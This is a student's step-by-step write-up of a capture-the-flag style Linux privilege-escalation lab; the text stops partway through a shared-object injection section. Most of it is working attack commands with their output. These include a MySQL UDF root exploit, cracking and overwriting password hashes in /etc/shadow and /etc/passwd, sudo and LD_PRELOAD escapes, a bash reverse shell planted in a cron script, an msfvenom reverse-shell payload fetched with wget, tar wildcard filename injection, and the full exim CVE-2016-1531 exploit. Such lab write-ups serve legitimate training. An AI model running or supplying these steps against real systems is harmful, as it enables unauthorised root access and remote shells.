

Linux PrivEsc

Variable	Value
Remote IP	10.10.56.56
Local IP	10.4.70.23
Local listen port	80

Credentials

- ssh
 - user:password321

SSH - 22

☒ login

```
1  └─(l3ickey🍌kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2  └─$ ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o
   "HostKeyAlgorithms+=ssh-dss" user@10.10.197.221 -p 22
3  Warning: Permanently added '10.10.197.221' (DSA) to the list of known hosts.
4  user@10.10.197.221's password:
5  Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
6
7  The programs included with the Debian GNU/Linux system are free software;
8  the exact distribution terms for each program are described in the
9  individual files in /usr/share/doc/*/copyright.
10
11 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
12 permitted by applicable law.
13 Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
14 user@debian:~$ id
15 uid=1000(user) gid=1000(user)
   groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
16 v)
```

Linux Privilege Escalation

Variable	Value
Remote IP	10.10.56.56
Local IP	10.4.70.23
Local listen port	80

```
1 | nc -lvp 80
```

Service Exploits

Compile the `raptor_udf2.c` exploit code.

```
1 user@debian:~$ cd /home/user/tools/mysql-udf/
2 user@debian:~/tools/mysql-udf$ ls
3 raptor_udf2.c
4 user@debian:~/tools/mysql-udf$ gcc -g -c raptor_udf2.c -fPIC
5 user@debian:~/tools/mysql-udf$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o
  raptor_udf2.so raptor_udf2.o -lc
6
```

Connect to the MySQL service as the root user with a blank password.

```
1 user@debian:~/tools/mysql-udf$ mysql -u root
2 Welcome to the MySQL monitor.  Commands end with ; or \g.
3 Your MySQL connection id is 36
4 Server version: 5.1.73-1+deb6u1 (Debian)
5
6 Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
7
8 Oracle is a registered trademark of Oracle Corporation and/or its
9 affiliates. Other names may be trademarks of their respective
10 owners.
11
12 Type 'help;' or '\h' for help. Type '\c' to clear the current input
   statement.
13
14 mysql>
15
```

Execute the following commands on the MySQL shell to create a User Defined Function (UDF) `do_system` using our compiled exploit:

```
1 mysql> use mysql;
2 Reading table information for completion of table and column names
3 You can turn off this feature to get a quicker startup with -A
4
5 Database changed
6 mysql> create table foo(line blob);
7 Query OK, 0 rows affected (0.00 sec)
8
9 mysql> insert into foo values(load_file('/home/user/tools/mysql-
   udf/raptor_udf2.so'));
10 Query OK, 1 row affected (0.00 sec)
11
12 mysql> select * from foo into outfile
   '/usr/lib/mysql/plugin/raptor_udf2.so';
13 Query OK, 1 row affected (0.00 sec)
14
15 mysql> create function do_system returns integer soname 'raptor_udf2.so';
16 Query OK, 0 row affected (0.00 sec)
17
```

Use the function to copy `/bin/bash` to `/tmp/rootbash` and set the SUID permission:

```

1 mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +xs
  /tmp/rootbash');
2 +-----+
3 | do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash') |
4 +-----+
5 |                                                                    0 |
6 +-----+
7 1 row in set (0.00 sec)
8

```

Exit out of the MySQL shell and run the `/tmp/rootbash` executable with `-p` to gain a shell running with root privileges:

```

1 mysql> exit
2 Bye
3 user@debian:~/tools/mysql-udf$ /tmp/rootbash -p
4 rootbash-4.1# id
5 uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
  groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
  000(user)
6

```

Weak File Permissions - Readable /etc/shadow

Note that the `/etc/shadow` file on the VM is world-readable:

```

1 user@debian:~$ ls -l /etc/shadow
2 -rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
3

```

View the contents of the `/etc/shadow` file:

```

1 user@debian:~$ cat /etc/shadow
2 root:$6$Tb/euwmK$0XA.dwMe0AcopwB168boTG5zi65wIHsc840WAIye5VITLLtVlaXvRDJXET.
  .it8r.jbrlpfZeMdWd3B0fGxJI0:17298:0:99999:7:::
3 daemon*:17298:0:99999:7:::
4 bin*:17298:0:99999:7:::
5 sys*:17298:0:99999:7:::
6 sync*:17298:0:99999:7:::
7 games*:17298:0:99999:7:::
8 man*:17298:0:99999:7:::
9 lp*:17298:0:99999:7:::
10 mail*:17298:0:99999:7:::
11 news*:17298:0:99999:7:::
12 uucp*:17298:0:99999:7:::
13 proxy*:17298:0:99999:7:::
14 www-data*:17298:0:99999:7:::
15 backup*:17298:0:99999:7:::
16 list*:17298:0:99999:7:::
17 irc*:17298:0:99999:7:::
18 gnats*:17298:0:99999:7:::
19 nobody*:17298:0:99999:7:::
20 libuuid:!:17298:0:99999:7:::
21 Debian-exim:!:17298:0:99999:7:::
22 sshd*:17298:0:99999:7:::

```

```

23 user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aD0ZRFrYirKDW5IJy32F
BGjwYpT201zrR2xTROv7wRIkF8.:17298:0:99999:7:::
24 statd*:17299:0:99999:7:::
25 mysql:!:18133:0:99999:7:::
26

```

Save the root user's hash to a file called `hash.txt` on your Kali and use `john the ripper` to crack it.

```

1  └─(l3ickey🍷kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2  └─$ cat hash.txt
3  $6$Tb/euwmK$0XA.dwMe0AcopwB168boTG5zi65wIHsc840WAIye5VITLLtVlaXvRDJXET..it8r
.jbrlpfZeMdwD3B0fGxJI0
4
5  └─(l3ickey🍷kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
6  └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
7  Using default input encoding: UTF-8
8  Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
9  Cost 1 (iteration count) is 5000 for all loaded hashes
10 Will run 24 OpenMP threads
11 Press 'q' or Ctrl-C to abort, almost any other key for status
12 password123      (?)
13 1g 0:00:00:00 DONE (2022-06-28 01:45) 5.263g/s 16168p/s 16168c/s 16168C/s
14 123456..dangerous
15 Use the "--show" option to display all of the cracked passwords reliably
16 Session completed.

```

Switch to the root user, using the cracked password:

```

1 user@debian:~$ su root
2 Password:password123
3 root@debian:/home/user# id
4 uid=0(root) gid=0(root) groups=0(root)
5

```

Weak File Permissions - Writable /etc/shadow

Note that the `/etc/shadow` file on the VM is world-writable:

```

1 user@debian:~$ ls -l /etc/shadow
2 -rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
3

```

Generate a new password hash with a password of your choice:

```

1 user@debian:~$ mkpasswd -m sha-512 newpasswordhere
2 $6$D8kLoKhHYZ6$W.Xv/Tw1T60myhSTUc7gqFSwXKw2AbDCBoYxEDq24bck8kz60hn3HEJQ6yEwc8
FOIAnxj.gnA2/LLDtRb40hP0
3

```

Edit the `/etc/shadow` file and replace the original root user's password hash with the one you just generated.

```

1 user@debian:~$ cat /etc/shadow
2 root:$6$D8kLoKhHYZ6$W.Xv/Tw1T60myhSTUc7gqFSwXKw2AbDCBoYxEDq24bck8kz60hn3HEJQ
  6yEwc8F0IAxj.gnA2/LLDtRb40hP0:17298:0:99999:7:::
3 daemon*:17298:0:99999:7:::
4 bin*:17298:0:99999:7:::
5 sys*:17298:0:99999:7:::
6 sync*:17298:0:99999:7:::
7 games*:17298:0:99999:7:::
8 man*:17298:0:99999:7:::
9 lp*:17298:0:99999:7:::
10 mail*:17298:0:99999:7:::
11 news*:17298:0:99999:7:::
12 uucp*:17298:0:99999:7:::
13 proxy*:17298:0:99999:7:::
14 www-data*:17298:0:99999:7:::
15 backup*:17298:0:99999:7:::
16 list*:17298:0:99999:7:::
17 irc*:17298:0:99999:7:::
18 gnats*:17298:0:99999:7:::
19 nobody*:17298:0:99999:7:::
20 libuuid!:17298:0:99999:7:::
21 Debian-exim!:17298:0:99999:7:::
22 sshd*:17298:0:99999:7:::
23 user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aD0ZRFrYirKDW5IJy32F
  BGjwYpT201zrR2xTROv7wRIkF8.:17298:0:99999:7:::
24 statd*:17299:0:99999:7:::
25 mysql!:18133:0:99999:7:::
26

```

Switch to the root user, using the new password:

```

1 user@debian:~$ su root
2 Password:newpasswordhere
3 root@debian:/home/user# id
4 uid=0(root) gid=0(root) groups=0(root)
5

```

Weak File Permissions - Writable /etc/passwd

Note that the `/etc/passwd` file is world-writable:

```

1 user@debian:~$ ls -l /etc/passwd
2 -rw-r--rw- 1 root root 1009 Aug 25 2019 /etc/passwd
3

```

Generate a new password hash with a password of your choice:

```

1 user@debian:~$ openssl passwd newpass
2 dUHO.hDJHSA7k
3

```

Edit the `/etc/passwd` file and place the generated password hash between the first and second colon `:` of the root user's row (replacing the "x").

```

1
2
3

```

```

1 user@debian:~$ cat /etc/passwd
2 root:dUH0.hDJHSA7k:0:0:root:/root:/bin/bash
3 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
4 bin:x:2:2:bin:/bin:/bin/sh
5 sys:x:3:3:sys:/dev:/bin/sh
6 sync:x:4:65534:sync:/bin:/bin/sync
7 games:x:5:60:games:/usr/games:/bin/sh
8 man:x:6:12:man:/var/cache/man:/bin/sh
9 lp:x:7:7:lp:/var/spool/lpd:/bin/sh
10 mail:x:8:8:mail:/var/mail:/bin/sh
11 news:x:9:9:news:/var/spool/news:/bin/sh
12 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
13 proxy:x:13:13:proxy:/bin:/bin/sh
14 www-data:x:33:33:www-data:/var/www:/bin/sh
15 backup:x:34:34:backup:/var/backups:/bin/sh
16 list:x:38:38:Mailing List Manager:/var/list:/bin/sh
17 irc:x:39:39:ircd:/var/run/ircd:/bin/sh
18 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
19 nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
20 libuuid:x:100:101::/var/lib/libuuid:/bin/sh
21 Debian-exim:x:101:103::/var/spool/exim4:/bin/false
22 sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
23 user:x:1000:1000:user,,,:/home/user:/bin/bash
24 statd:x:103:65534::/var/lib/nfs:/bin/false
25 mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
26

```

Switch to the root user, using the new password:

```

1 user@debian:~$ su root
2 Password:newpass
3 root@debian:/home/user# id
4 uid=0(root) gid=0(root) groups=0(root)
5

```

Alternatively, copy the root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").

```

1 user@debian:~$ cat /etc/passwd
2 root:x:0:0:root:/root:/bin/bash
3 newroot:dUH0.hDJHSA7k:0:0:root:/root:/bin/bash
4 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
5 bin:x:2:2:bin:/bin:/bin/sh
6 sys:x:3:3:sys:/dev:/bin/sh
7 sync:x:4:65534:sync:/bin:/bin/sync
8 games:x:5:60:games:/usr/games:/bin/sh
9 man:x:6:12:man:/var/cache/man:/bin/sh
10 lp:x:7:7:lp:/var/spool/lpd:/bin/sh
11 mail:x:8:8:mail:/var/mail:/bin/sh
12 news:x:9:9:news:/var/spool/news:/bin/sh
13 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
14 proxy:x:13:13:proxy:/bin:/bin/sh
15 www-data:x:33:33:www-data:/var/www:/bin/sh
16 backup:x:34:34:backup:/var/backups:/bin/sh
17 list:x:38:38:Mailing List Manager:/var/list:/bin/sh

```

```

18 | irc:x:39:39:ircd:/var/run/ircd:/bin/sh
19 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
20 | nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
21 | libuuid:x:100:101::/var/lib/libuuid:/bin/sh
22 | Debian-exim:x:101:103::/var/spool/exim4:/bin/false
23 | sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
24 | user:x:1000:1000:user,,,:/home/user:/bin/bash
25 | statd:x:103:65534::/var/lib/nfs:/bin/false
26 | mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
27 |

```

Switch to the newroot user, using the new password:

```

1 | user@debian:~$ su newroot
2 | Password:
3 | root@debian:/home/user# id
4 | uid=0(root) gid=0(root) groups=0(root)
5 |

```

Sudo - Shell Escape Sequences

List the programs which sudo allows your user to run:

```

1 | user@debian:~$ sudo -l
2 | Matching Defaults entries for user on this host:
3 |     env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
4 |
5 | User user may run the following commands on this host:
6 |     (root) NOPASSWD: /usr/sbin/iftop
7 |     (root) NOPASSWD: /usr/bin/find
8 |     (root) NOPASSWD: /usr/bin/nano
9 |     (root) NOPASSWD: /usr/bin/vim
10 |    (root) NOPASSWD: /usr/bin/man
11 |    (root) NOPASSWD: /usr/bin/awk
12 |    (root) NOPASSWD: /usr/bin/less
13 |    (root) NOPASSWD: /usr/bin/ftp
14 |    (root) NOPASSWD: /usr/bin/nmap
15 |    (root) NOPASSWD: /usr/sbin/apache2
16 |    (root) NOPASSWD: /bin/more
17 |

```

Visit [GTFOBins](#) and search for some of the program names. If the program is listed with "sudo" as a function, you can use it to elevate privileges, usually via an escape sequence.

```

1 | user@debian:~$ sudo nmap --interactive
2 |
3 | Starting Nmap V. 5.00 ( http://nmap.org )
4 | Welcome to Interactive Mode -- press h <enter> for help
5 | nmap> !sh
6 | sh-4.1# id
7 | uid=0(root) gid=0(root) groups=0(root)
8 |

```

Sudo - Environment Variables

Sudo can be configured to inherit certain environment variables from the user's environment.

Check which environment variables are inherited (look for the `env_keep` options):

```
1 user@debian:~$ sudo -l
2 Matching Defaults entries for user on this host:
3     env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
4
5 User user may run the following commands on this host:
6     (root) NOPASSWD: /usr/sbin/iftop
7     (root) NOPASSWD: /usr/bin/find
8     (root) NOPASSWD: /usr/bin/nano
9     (root) NOPASSWD: /usr/bin/vim
10    (root) NOPASSWD: /usr/bin/man
11    (root) NOPASSWD: /usr/bin/awk
12    (root) NOPASSWD: /usr/bin/less
13    (root) NOPASSWD: /usr/bin/ftp
14    (root) NOPASSWD: /usr/bin/nmap
15    (root) NOPASSWD: /usr/sbin/apache2
16    (root) NOPASSWD: /bin/more
17
```

Create a shared object using the code located at `/home/user/tools/sudo/preload.c`:

```
1 user@debian:~$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so
   /home/user/tools/sudo/preload.c
2
```

Run one of the programs you are allowed to run via sudo, while setting the `LD_PRELOAD` environment variable to the full path of the new shared object:

```
1 user@debian:~$ sudo LD_PRELOAD=/tmp/preload.so more
2 root@debian:/home/user# id
3 uid=0(root) gid=0(root) groups=0(root)
4
```

Run `ldd` against the `apache2` program file to see which shared libraries are used by the program:

```
1 user@debian:~$ ldd /usr/sbin/apache2
2     linux-vdso.so.1 => (0x00007fff005ff000)
3     libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3
   (0x00007fc577ff0000)
4     libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fc577dcc000)
5     libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007fc577b92000)
6     libpthread.so.0 => /lib/libpthread.so.0 (0x00007fc577976000)
7     libc.so.6 => /lib/libc.so.6 (0x00007fc57760a000)
8     libuuid.so.1 => /lib/libuuid.so.1 (0x00007fc577405000)
9     librt.so.1 => /lib/librt.so.1 (0x00007fc5771fd000)
10    libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007fc576fc6000)
11    libdl.so.2 => /lib/libdl.so.2 (0x00007fc576dc1000)
12    libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007fc576b99000)
13    /lib64/ld-linux-x86-64.so.2 (0x00007fc5784ad000)
14
```


Create a shared object with the same name as one of the listed libraries using the code located at `/home/user/tools/sudo/library_path.c`:

```
1 user@debian:~$ gcc -fPIC -shared -o /tmp/libcrypt.so.1  
  /home/user/tools/sudo/library_path.c  
2
```

Run `apache2` using `sudo`, while setting the `LD_LIBRARY_PATH` environment variable to `/tmp` (where we output the compiled shared object):

```
1 user@debian:~$ sudo LD_LIBRARY_PATH=/tmp apache2  
2 apache2: /tmp/libcrypt.so.1: no version information available (required by  
  /usr/lib/libaprutil-1.so.0)  
3 root@debian:/home/user# id  
4 uid=0(root) gid=0(root) groups=0(root)  
5
```

Try renaming `/tmp/libcrypt.so.1` to the name of another library used by `apache2` and re-run `apache2` using `sudo` again.

```
1 user@debian:~$ gcc -fPIC -shared -o /tmp/libpcre.so.3  
  /home/user/tools/sudo/library_path.c  
2 user@debian:~$ sudo LD_LIBRARY_PATH=/tmp apache2  
3 apache2: symbol lookup error: apache2: undefined symbol: pcre_free  
4
```

Probably in the runtime, there is a call to `pcre_free` that suppose to be in `libpcre.so.3`.

```
1 user@debian:~$ echo "int pcre_free;" >> /home/user/tools/sudo/library_path.c  
2 user@debian:~$ gcc -fPIC -shared -o /tmp/libpcre.so.3  
  /home/user/tools/sudo/library_path.c  
3 user@debian:~$ sudo LD_LIBRARY_PATH=/tmp apache2  
4 root@debian:/home/user# id  
5 uid=0(root) gid=0(root) groups=0(root)  
6
```

Cron Jobs - File Permissions

View the contents of the system-wide crontab:

```
1 user@debian:~$ cat /etc/crontab  
2 # /etc/crontab: system-wide crontab  
3 # Unlike any other crontab you don't have to run the `crontab'  
4 # command to install the new version when you edit this file  
5 # and files in /etc/cron.d. These files also have username fields,  
6 # that none of the other crontabs do.  
7  
8 SHELL=/bin/sh  
9 PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin  
10  
11 # m h dom mon dow user  command  
12 17 * * * * root    cd / && run-parts --report /etc/cron.hourly  
13 25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --  
  report /etc/cron.daily )
```

```

14 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --
    report /etc/cron.weekly )
15 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --
    report /etc/cron.monthly )
16 #
17 * * * * * root overwrite.sh
18 * * * * * root /usr/local/bin/compress.sh
19

```

There should be two cron jobs scheduled to run every minute. One runs `overwrite.sh`, the other runs `/usr/local/bin/compress.sh`.

Locate the full path of the `overwrite.sh` file:

```

1 user@debian:~$ locate overwrite.sh
2 locate: warning: database `/var/cache/locate/locatedb' is more than 8 days
  old (actual age is 774.9 days)
3 /usr/local/bin/overwrite.sh
4

```

Note that the file is world-writable:

```

1 user@debian:~$ ls -l /usr/local/bin/overwrite.sh
2 -rwxr--rw- 1 root staff 40 May 13 2017 /usr/local/bin/overwrite.sh
3

```

Replace the contents of the `overwrite.sh` file with the following after changing the IP address to that of your Kali box.

```

1 user@debian:~$ cat /usr/local/bin/overwrite.sh
2 #!/bin/bash
3 bash -i >& /dev/tcp/10.4.70.23/80 0>&1
4

```

Set up a netcat listener on your Kali box on port 80 and wait for the cron job to run. A root shell should connect back to your netcat listener.

```

1 ┌─(l3ickey🐧kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2 └─$ nc -lnvp 80
3 listening on [any] 80 ...
4 connect to [10.4.70.23] from (UNKNOWN) [10.10.206.209] 48509
5 bash: no job control in this shell
6 root@debian:~# id
7 id
8 uid=0(root) gid=0(root) groups=0(root)
9

```

Cron Jobs - PATH Environment Variable

View the contents of the system-wide crontab:

```

1 user@debian:~$ cat /etc/crontab
2 # /etc/crontab: system-wide crontab
3 # Unlike any other crontab you don't have to run the `crontab'

```

```

4  # command to install the new version when you edit this file
5  # and files in /etc/cron.d. These files also have username fields,
6  # that none of the other crontabs do.
7
8  SHELL=/bin/sh
9  PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
10
11 # m h dom mon dow user  command
12 17 * * * * root    cd / && run-parts --report /etc/cron.hourly
13 25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --
14 report /etc/cron.daily )
14 47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --
15 report /etc/cron.weekly )
15 52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --
16 report /etc/cron.monthly )
16 #
17 * * * * * root overwrite.sh
18 * * * * * root /usr/local/bin/compress.sh
19

```

Note that the `PATH` variable starts with `/home/user` which is our user's home directory.

Create a file called `overwrite.sh` in your home directory with the following contents:

```

1 user@debian:~$ pwd
2 /home/user
3 user@debian:~$ vi overwrite.sh
4 user@debian:~$ cat overwrite.sh
5 #!/bin/bash
6
7 cp /bin/bash /tmp/rootbash
8 chmod +xs /tmp/rootbash
9

```

Make sure that the file is executable:

```

1 user@debian:~$ chmod +x /home/user/overwrite.sh
2 user@debian:~$ ls -l
3 total 12
4 -rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn
5 -rwxr-xr-x 1 user user 64 Jul 8 05:11 overwrite.sh
6 drwxr-xr-x 8 user user 4096 May 15 2020 tools
7

```

Wait for the cron job to run (should not take longer than a minute). Run the `/tmp/rootbash` command with `-p` to gain a shell running with root privileges:

```

1 user@debian:~$ /tmp/rootbash -p
2 rootbash-4.1# id
3 uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
4 groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

```

Cron Jobs - Wildcards

View the contents of the other cron job script:

```
1 user@debian:~$ cat /etc/crontab
2 # /etc/crontab: system-wide crontab
3 # Unlike any other crontab you don't have to run the `crontab'
4 # command to install the new version when you edit this file
5 # and files in /etc/cron.d. These files also have username fields,
6 # that none of the other crontabs do.
7
8 SHELL=/bin/sh
9 PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
10
11 # m h dom mon dow user  command
12 17 * * * * root    cd / && run-parts --report /etc/cron.hourly
13 25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --
14 report /etc/cron.daily )
14 47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --
15 report /etc/cron.weekly )
15 52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --
16 report /etc/cron.monthly )
16 #
17 * * * * * root overwrite.sh
18 * * * * * root /usr/local/bin/compress.sh
19
20 user@debian:~$ cat /usr/local/bin/compress.sh
21 #!/bin/sh
22 cd /home/user
23 tar czf /tmp/backup.tar.gz *
24
```

Note that the `tar` command is being run with a wildcard `*` in your home directory.

Take a look at the GTFOBins page for [tar](#). Note that `tar` has command line options that let you run other commands as part of a checkpoint feature.

Use `msfvenom` on your Kali box to generate a reverse shell ELF binary. Update the `LHOST` IP address accordingly:

```
1 └─(l3ickey🍁kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2 └─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.4.70.23 LPORT=4444 -f
   elf -o shell.elf
3 [-] No platform was selected, choosing Msf::Module::Platform::Linux from the
   payload
4 [-] No arch selected, selecting arch: x64 from the payload
5 No encoder specified, outputting raw payload
6 Payload size: 74 bytes
7 Final size of elf file: 194 bytes
8 Saved as: shell.elf
9
```

Transfer the `shell.elf` file to `/home/user` on the Debian VM. Make sure the file is executable:

```

1  └─(l3ickey🍷kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2  └─$ ls
3  Linux_PrivEsc.md  hash.txt  shell.elf
4
5  └─(l3ickey🍷kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
6  └─$ python3 -m http.server 8000
7  Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
8

```

```

1  user@debian:~$ wget http://10.4.70.23:8000/shell.elf
2  --2022-07-08 05:42:00-- http://10.4.70.23:8000/shell.elf
3  Connecting to 10.4.70.23:8000... connected.
4  HTTP request sent, awaiting response... 200 OK
5  Length: 194 [application/octet-stream]
6  Saving to: "shell.elf"
7
8  100%
9  [=====]
10 ==>] 194          --.-K/s   in 0s
11
12 2022-07-08 05:42:00 (513 KB/s) - "shell.elf" saved [194/194]
13
14 user@debian:~$ chmod +x /home/user/shell.elf
15 user@debian:~$ ls -l
16 total 12
17 -rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn
18 -rwxr-xr-x 1 user user 194 Jul 8 05:41 shell.elf
19 drwxr-xr-x 8 user user 4096 May 15 2020 tools

```

Create these two files in `/home/user`:

```

1  user@debian:~$ touch /home/user/--checkpoint=1
2  user@debian:~$ touch /home/user/--checkpoint-action=exec=shell.elf
3  user@debian:~$ ls
4  --checkpoint=1 --checkpoint-action=exec=shell.elf myvpn.ovpn shell.elf
5  tools

```

When the `tar` command in the cron job runs, the wildcard `*` will expand to include these files. Since their filenames are valid `tar` command line options, `tar` will recognize them as such and treat them as command line options rather than filenames.

Set up a netcat listener on your Kali box on port `4444` and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.

```

1  └─(l3ickey🍷kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2  └─$ nc -lnvp 4444
3  listening on [any] 4444 ...
4  connect to [10.4.70.23] from (UNKNOWN) [10.10.25.164] 35212
5  id
6  uid=0(root) gid=0(root) groups=0(root)
7

```

SUID / SGID Executable - Known Exploits

Find all the SUID/SGID executables on the Debian VM:

```
1 user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l
  {} \; 2> /dev/null
2 -rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry
3 -rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent
4 -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
5 -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
6 -rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write
7 -rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab
8 -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
9 -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
10 -rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage
11 -rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd
12 -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
13 -rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
14 -rwxr-sr-x 1 root tty 12000 Jan 25 2011 /usr/bin/wall
15 -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
16 -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
17 -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
18 -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
19 -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmccrypt-get-device
20 -rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
21 -rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
22 -rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
23 -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
24 -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
25 -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
26 -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
27 -rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd
28 -rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
29
```

Note that `/usr/sbin/exim-4.84-3` appears in the results. Try to find a known exploit for this version of exim. [Exploit-DB](#), Google, and GitHub are good places to search!

A local privilege escalation exploit matching this version of exim exactly should be available. A copy can be found on the Debian VM at `/home/user/tools/suid/exim/cve-2016-1531.sh`.

```
1 user@debian:~$ cat tools/suid/exim/cve-2016-1531.sh
2 #!/bin/sh
3 # CVE-2016-1531 exim <= 4.84-3 local root exploit
4 # =====
5 # you can write files as root or force a perl module to
6 # load by manipulating the perl environment and running
7 # exim with the "perl_startup" argument -ps.
8 #
9 # e.g.
10 # [fantastic@localhost tmp]$ ./cve-2016-1531.sh
11 # [ CVE-2016-1531 local root exploit
12 # sh-4.3# id
13 # uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
14 #
15 # -- Hacker Fantastic
```

```

16 echo [ CVE-2016-1531 local root exploit
17 cat > /tmp/root.pm << EOF
18 package root;
19 use strict;
20 use warnings;
21
22 system("/bin/sh");
23 EOF
24 PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
25

```

Run the exploit script to gain a root shell:

```

1 user@debian:~$ ./tools/suid/exim/cve-2016-1531.sh
2 [ CVE-2016-1531 local root exploit
3 sh-4.1# id
4 uid=0(root) gid=1000(user) groups=0(root)
5

```

SUID / SGID Executables - Shared Object Injection

The `/usr/local/bin/suid-so` SUID executable is vulnerable to shared object injection.

First, execute the file and note that currently it displays a progress bar before exiting:

```

1 user@debian:~$ /usr/local/bin/suid-so
2 Calculating something, please wait...
3 [=====>] 99 %
4 Done.
5

```

Run `strace` on the file and search the output for open/access calls and for "no such file" errors:

```

1 user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no
  such file"
2 access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or
  directory)
